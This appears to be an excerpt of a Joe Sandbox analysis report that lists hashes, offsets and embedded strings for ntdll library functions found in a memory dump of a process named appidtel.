Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85fc9db4aa53fbde401936af5fdd052c93965ebaf35d5e73e6d4da354904faf0
Instruction ID: ee374ee306dd2142a14d2511119755f05e999da78a468a3c767173303a412624
Opcode Fuzzy Hash: 85fc9db4aa53fbde401936af5fdd052c93965ebaf35d5e73e6d4da354904faf0
Instruction Fuzzy Hash: 9490022134550C02E140F1588418707004AC7D0601F55C011B4024554D87168AA56BB1

Function 03943010 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c88c20788cb9eff7752b83a32b103797360ecb3d20f72a124238f3eafa9edf3a
Instruction ID: 8fb9f724b7591f8fe2a4be292c2f7afee5215ece74a7478d87ef156677b0f235
Opcode Fuzzy Hash: c88c20788cb9eff7752b83a32b103797360ecb3d20f72a124238f3eafa9edf3a
Instruction Fuzzy Hash: 9090022130594842E140F2584808B0F414987E1202F95C019B8156554CCA1589955B21

Function 03944650 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a99a858da1cf1b056b63123b238bfea6db8e9f8e3a61880bf8c735e8daeae94
Instruction ID: 10eff67e5926fe3025b57d19a8f6e4f71a82664a4590275bc35db499b55cf543
Opcode Fuzzy Hash: 2a99a858da1cf1b056b63123b238bfea6db8e9f8e3a61880bf8c735e8daeae94
Instruction Fuzzy Hash: 5E900261705604425140F1584808406604997E1301395C115B4554560C871889959769

Function 03942B80 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cde9f51a6e7bc8cb62596c866f3928b73502de3e0b6a5aa3afbeb8a7d3a61bb3
Instruction ID: 15ef5531e0f1263cdc1b5ed49333234410e1e49de1aaae985201e636f2168879
Opcode Fuzzy Hash: cde9f51a6e7bc8cb62596c866f3928b73502de3e0b6a5aa3afbeb8a7d3a61bb3
Instruction Fuzzy Hash: 4890023130550C02E104F1584808686004987D0301F55C011BA024655E976589D17731

Function 03942BA0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bace37efbaf98cb4d3fc45d91df44d2d26cff0721961a61d329bdc4d4c80402
Instruction ID: a71fb838e9b2d8221b9d96cafd28e721de2469b88e654f8a6e4d1ade6d0f4889
Opcode Fuzzy Hash: 9bace37efbaf98cb4d3fc45d91df44d2d26cff0721961a61d329bdc4d4c80402
Instruction Fuzzy Hash: 7D90023170950C02E150F1584418746004987D0301F55C011B4024654D87558B957BA1

Function 03942BF0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d089cf9ce0c0b9df990efc920656ce022f59ee0d15be701cecf419a5337a4c3
Instruction ID: caf38b62b9bcf307a105bfb9a05d318a309bc0ea7e59b22cefff8b484c33e89c
Opcode Fuzzy Hash: 6d089cf9ce0c0b9df990efc920656ce022f59ee0d15be701cecf419a5337a4c3
Instruction Fuzzy Hash: 1690023130550C02E180F158440864A004987D1301F95C015B4025654DCB158B997BA1

Function 03942BE0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ceb9acabbdafaf5f7105de1082bed93b2de8e25a7060ef209ecca53014a00fa5
Instruction ID: fd9985c138f3d470eec6be1792034030b7d89d010b44c1140a3c79b64d83abce
Opcode Fuzzy Hash: ceb9acabbdafaf5f7105de1082bed93b2de8e25a7060ef209ecca53014a00fa5
Instruction Fuzzy Hash: A590023130954C42E140F1584408A46005987D0305F55C011B4064694D97258E95BB61

Function 03942AB0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3e1a6c10b625ec0734720ed909e8de6bddb23cd93996dec9ca3f928bb7b34b9
Instruction ID: c064c61cf9bcbecf1b0e2508aa50276fe65507ddef8a36ef703242068f475bd8
Opcode Fuzzy Hash: c3e1a6c10b625ec0734720ed909e8de6bddb23cd93996dec9ca3f928bb7b34b9
Instruction Fuzzy Hash: DA9002A1305644925500F2588408B0A454987E0201B55C016F5054560CC62589919735

Function 03942AD0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07dc0e6f688382f40a10b17b95bfec24a0f312200776e96eb1e10ffea6e0197d
Instruction ID: e435d9a4f00fad69c1e1c3391ccd336850b702b8de922b641531cd3febb03fce
Opcode Fuzzy Hash: 07dc0e6f688382f40a10b17b95bfec24a0f312200776e96eb1e10ffea6e0197d
Instruction Fuzzy Hash: F3900435315504031105F55C070C50700CFC7D5351355C031F5015550CD731CDF15731

Function 03942AF0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6024d0ec65d9831e9eea26799e4bd182d143999de2777969e298ea29ce941a4
Instruction ID: c20d3dcabb40d245b9e38674ffc0768e2b32d6a6316d18d60d816249ed2d8348
Opcode Fuzzy Hash: e6024d0ec65d9831e9eea26799e4bd182d143999de2777969e298ea29ce941a4
Instruction Fuzzy Hash: 2D900225325504021145F558060850B048997D6351395C015F5416590CC72189A55721

Function 039439B0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67415800a2db454008b473ad5b19e4b92550ef71c41aec30f2e0922075760bf9
Instruction ID: 21f8d45b6cd8bcc5800456d5e1a2891d0e0a2a7595be8bfa2304bde8b05cf011
Opcode Fuzzy Hash: 67415800a2db454008b473ad5b19e4b92550ef71c41aec30f2e0922075760bf9
Instruction Fuzzy Hash: 9090022134955502E150F15C44086164049A7E0201F55C021B4814594D865589956721

Function 03942F90 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3d7b55c023c581b6d19f9c077a3f1bca3125e9118bf24f32d44fa6cd545e693
Instruction ID: 504e0542a0175d4d9d889600411908eba9e5948b4de7de88fc98446ded3e0447
Opcode Fuzzy Hash: c3d7b55c023c581b6d19f9c077a3f1bca3125e9118bf24f32d44fa6cd545e693
Instruction Fuzzy Hash: 8790023130590802E100F158481870B004987D0302F55C011B5164555D872589916B71

Function 03942FB0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2db182934dae636ef47c33112f563c55af96ead46b9c6f4936b6e5744aea4b2c
Instruction ID: 1b2c25b99a099b30b97ab6f4a5ee93e282d57b7570edea269b80ba04c321f762
Opcode Fuzzy Hash: 2db182934dae636ef47c33112f563c55af96ead46b9c6f4936b6e5744aea4b2c
Instruction Fuzzy Hash: 30900221705504425140F16888489064049ABE1211755C121B4998550D865989A55B65

Function 03942FA0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b212cbcc76b6051affdc02cc7b0e70b2eeb1d78edd23c272f0c07146517903f
Instruction ID: 5b2c9e2c814166d49a3a60760eb32db3ee638c8600048b0684a95a31f23eda1f
Opcode Fuzzy Hash: 0b212cbcc76b6051affdc02cc7b0e70b2eeb1d78edd23c272f0c07146517903f
Instruction Fuzzy Hash: DF90023130590802E100F158480C747004987D0302F55C011B9164555E8765C9D16B31

Function 03942FE0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb9572a82cfcffdde7134f7fda59d1dcce7b7037a0d139a5b95cb6177c4e05ff
Instruction ID: 59c6e28126ecc04a8222cae87171589c1e575c6132b17fe1a29ae3811751f3b4
Opcode Fuzzy Hash: cb9572a82cfcffdde7134f7fda59d1dcce7b7037a0d139a5b95cb6177c4e05ff
Instruction Fuzzy Hash: 7C900221315D0442E200F5684C18B07004987D0303F55C115B4154554CCA1589A15B21

Function 03942F30 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20eee1a0e60387866162c5c55c2922deb598d10cb7db9e1a5ca74334ee5564ce
Instruction ID: 3955242b29311917850b098fcfd635617abd9f064ac66703b6e605fddb87f01e
Opcode Fuzzy Hash: 20eee1a0e60387866162c5c55c2922deb598d10cb7db9e1a5ca74334ee5564ce
Instruction Fuzzy Hash: F690026134550842E100F1584418B060049C7E1301F55C015F5064554D8719CD926726

Function 03942F60 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c8df212ad728648cf6b0a803a03a85df6aadd17d542ac0af79e597796599bbb
Instruction ID: 6fd05bd6688046908cecdbe361a7b710c10eb101061943b983b205bae9f2ba23
Opcode Fuzzy Hash: 8c8df212ad728648cf6b0a803a03a85df6aadd17d542ac0af79e597796599bbb
Instruction Fuzzy Hash: CC90026131550442E104F1584408706008987E1201F55C012B6154554CC6298DA15725

Function 03942E80 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 463e642a374808a43c2be2d2ed142fee46aea8d04f7824fb6678ffc061b19560
Instruction ID: 2b47e09728a74e1d871a032943acdc7b0f9113eb05c964af7999909e543da747
Opcode Fuzzy Hash: 463e642a374808a43c2be2d2ed142fee46aea8d04f7824fb6678ffc061b19560
Instruction Fuzzy Hash: CB90022170550902E101F1584408616004E87D0241F95C022B5024555ECB258AD2A731

Function 03942EA0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a8ce68e1859192f36356411671efbcf00c05be2d451e07bb589be63b8bd6480
Instruction ID: 027c12049d5b1a7c79bdc2baf8f7f76e7d7d2b02286ce18eb9595f132faa4cdc
Opcode Fuzzy Hash: 9a8ce68e1859192f36356411671efbcf00c05be2d451e07bb589be63b8bd6480
Instruction Fuzzy Hash: 4390027130550802E140F1584408746004987D0301F55C011B9064554E87598ED56B65

Function 03942EE0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca28338b3d80173b95b9db00b0d86f9b83e00e26f921caadd7c782241bce8a55
Instruction ID: f358cd319dcd14fa4a4d8e2061221c665fafc165fd54f033ea3794e2b7217635
Opcode Fuzzy Hash: ca28338b3d80173b95b9db00b0d86f9b83e00e26f921caadd7c782241bce8a55
Instruction Fuzzy Hash: DD90026130590803E140F5584808607004987D0302F55C011B6064555E8B298D916735

Function 03942E30 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5622d122c02699a5fa7970564740f87ac99dd223c4e5a3122ae5b90ab852c846
Instruction ID: 77062a17a3c2422a2faf509e1c73d4981eb13d4bfda879491f6d66278fb7fd38
Opcode Fuzzy Hash: 5622d122c02699a5fa7970564740f87ac99dd223c4e5a3122ae5b90ab852c846
Instruction Fuzzy Hash: 5190022130550802E102F1584418606004DC7D1345F95C012F5424555D87258A93A732

Function 03942DB0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44b80986813095ab80601cc9a7436c24cdff24c63f91cb5e85bbb0ba1595a850
Instruction ID: fde4fbb958d890530a02b1e89173ec8541a64b653f9a34013f237eef12cdeafa
Opcode Fuzzy Hash: 44b80986813095ab80601cc9a7436c24cdff24c63f91cb5e85bbb0ba1595a850
Instruction Fuzzy Hash: 1490023134550802E141F1584408606004D97D0241F95C012B4424554E87558B96AF61

Function 03942DD0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 222b60b1a3dbdbdb567b0b273ff127682fc909267e787d245361a300e3491580
Instruction ID: f096db0355b899a531750eeba497dc337652e4a1294bd24f0997e0055a4e32e5
Opcode Fuzzy Hash: 222b60b1a3dbdbdb567b0b273ff127682fc909267e787d245361a300e3491580
Instruction Fuzzy Hash: 61900221346545526545F1584408507404A97E0241795C012B5414950C86269996DB21

Function 03942D10 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a23593280fdabd8835ed05d27bd475c5b208160b735aa7b1bff9da190eea8eb6
Instruction ID: d83ded37aa47078e3d3459dc57961a50382ac981bca9457969f82d257b865816
Opcode Fuzzy Hash: a23593280fdabd8835ed05d27bd475c5b208160b735aa7b1bff9da190eea8eb6
Instruction Fuzzy Hash: 8390022931750402E180F158540C60A004987D1202F95D415B4015558CCA1589A95721

Function 03943D10 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4671f3aba327a875d6991957a9bb0e02ea4daefafd57cd75337beb0b3382c631
Instruction ID: f5498b32802307977cd07942519a335f2be11205bd1a0ce9f0ea72e385eac161
Opcode Fuzzy Hash: 4671f3aba327a875d6991957a9bb0e02ea4daefafd57cd75337beb0b3382c631
Instruction Fuzzy Hash: 0690023130650542A540F2585808A4E414987E1302B95D415B4015554CCA1489A15721

Function 03942D00 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74058c2ed93733f5526083b56a7daeb15c3429c0434bbb3e4e5b81f4028dde77
Instruction ID: a7e973cf8459870cf27f30d669b88a1120a1be89972dfaae8835a27f9534eb71
Opcode Fuzzy Hash: 74058c2ed93733f5526083b56a7daeb15c3429c0434bbb3e4e5b81f4028dde77
Instruction Fuzzy Hash: 4B90022130954842E100F558540CA06004987D0205F55D011B5064595DC7358991A731

Function 03942D30 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 470232896186d6fbc15d9f5c4ef326cedddb745a91de24c2880b7fce77cf28a6
Instruction ID: 08bab5cf81a212ceaac0c97c284d876d280545d0f8e7c6901e0e933472deabb4
Opcode Fuzzy Hash: 470232896186d6fbc15d9f5c4ef326cedddb745a91de24c2880b7fce77cf28a6
Instruction Fuzzy Hash: E590022130550403E140F158541C6064049D7E1301F55D011F4414554CDA1589965722

Function 03943D70 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03cd00ef1419d632477b0dc82cb457d0f56512222092642e2f28ab7e0c2ceb28
Instruction ID: c52dbeb2be06a5c5d8598102b24f242534e2175f65c1e175d21cc34ea9ec1bfa
Opcode Fuzzy Hash: 03cd00ef1419d632477b0dc82cb457d0f56512222092642e2f28ab7e0c2ceb28
Instruction Fuzzy Hash: 6090023530550802E510F1585808646008A87D0301F55D411B4424558D875489E1A721

Function 03942CA0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7975db8ffbaac32dd60b952bdaa56163cacacfb60d062bc7c617dd9435b729f
Instruction ID: 06f1ab0134a52def812af8615e4226ec0f10620d217b763ed292d10bf34851d8
Opcode Fuzzy Hash: d7975db8ffbaac32dd60b952bdaa56163cacacfb60d062bc7c617dd9435b729f
Instruction Fuzzy Hash: 7D90023130550802E100F598540C646004987E0301F55D011B9024555EC76589D16731

Function 03942CC0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5bcdedd64fb031e47e1f68dae940520cacbbef848ae59aa2d00bce1f832586c
Instruction ID: e8b91aec83c778878b14c6f3b205da08eb9eca2b0e388a82e3a2fd41e9648700
Opcode Fuzzy Hash: f5bcdedd64fb031e47e1f68dae940520cacbbef848ae59aa2d00bce1f832586c
Instruction Fuzzy Hash: 2B90022170950802E140F158541C706005987D0201F55D011B4024554DC7598B956BA1

Function 03942CF0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad78ca3b57aed85b2c7ce6d7f5afdab386afbf06e79fc6017c1fbfed37204a67
Instruction ID: 202f2feb544781a119226a13c98d750e6e760a134286c3063702f3b5bed4729c
Opcode Fuzzy Hash: ad78ca3b57aed85b2c7ce6d7f5afdab386afbf06e79fc6017c1fbfed37204a67
Instruction Fuzzy Hash: 6190023130550803E100F158550C707004987D0201F55D411B4424558DD75689916721

Function 03942C60 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb2501c8a5093d4e515a2e31b1f83e4a3b24e3bb90221e9e2807bea200a86cfd
Instruction ID: 10c1c511d69aa142cd033ad6a08e622a023714cec319918fd636014b47b06689
Opcode Fuzzy Hash: eb2501c8a5093d4e515a2e31b1f83e4a3b24e3bb90221e9e2807bea200a86cfd
Instruction Fuzzy Hash: 6890023130550C42E100F1584408B46004987E0301F55C016B4124654D8715C9917B21

Function 03942C00 Relevance: .0, Instructions: 2COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction ID: 211dec4cbcd5f485ea1c72a6b0ea770c8dafcd0040661c29ed168d3abc612534
Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction Fuzzy Hash:

Function 03942890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 0394293C
___swprintf_l.LIBCMT ref: 0394295E
___swprintf_l.LIBCMT ref: 039429A3
___swprintf_l.LIBCMT ref: 0397A52E

Strings

:%u.%u.%u.%u, xrefs: 0397A5B8
ffff:, xrefs: 0397A504
::%hs%u.%u.%u.%u, xrefs: 0397A527
::ffff:0:%u.%u.%u.%u, xrefs: 0397A54E

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: 9a2610e297a59ff4b2acdda986da390e82bf2cf882c07c0078d08d9010cddca1
Instruction ID: 4f9a3a9e91460bc438bee6d76a584278efb8c6913b58d25ce7251f5c51f5356a
Opcode Fuzzy Hash: 9a2610e297a59ff4b2acdda986da390e82bf2cf882c07c0078d08d9010cddca1
Instruction Fuzzy Hash: 7651A7B6A04216BFCB10DFA88990D7EFBBCBB482407548969F4A5D7741D374DE50CBA0

Function 03937630 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194COMMON

Download Yara Rule

Strings

CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 03974742
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 03974655
Execute=1, xrefs: 03974713
CLIENT(ntdll): Processing section info %ws..., xrefs: 03974787
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 03974725
ExecuteOptions, xrefs: 039746A0
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 039746FC

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 0-484625025
Opcode ID: 1289b84585b8723931019b85dfb3c9dc47504035151ae05a427586f863b807c7
Instruction ID: c7738a54c07dbe76cbdb4c28e5702368c7da0eb6e55b13c7516d5949d031ab8b
Opcode Fuzzy Hash: 1289b84585b8723931019b85dfb3c9dc47504035151ae05a427586f863b807c7
Instruction Fuzzy Hash: 0D5104B5A403197ADF20FBE8EC99FAE73ACEB46344F0404E9E505AB181E7719A41CF51

Function 0394B5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 0394B6BF

Strings

0, xrefs: 0394B695
+, xrefs: 0394B65A
0, xrefs: 0394B66F
-, xrefs: 0394B650

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-$0$0
API String ID: 1302938615-699404926
Opcode ID: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
Instruction ID: 8165c0b2fe59f67c97f4894a29a1922974a98ee9342c59e9b761f920ca73cd6d
Opcode Fuzzy Hash: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
Instruction Fuzzy Hash: 6781BF70E052499EDF28DF68C991FFEBBAAAF453A0F1C4659D8E1A7790C734C8408B50

Function 0392F5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON

Download Yara Rule

Strings

RTL: Re-Waiting, xrefs: 0397031E
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 039702BD
RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 039702E7

Memory Dump Source

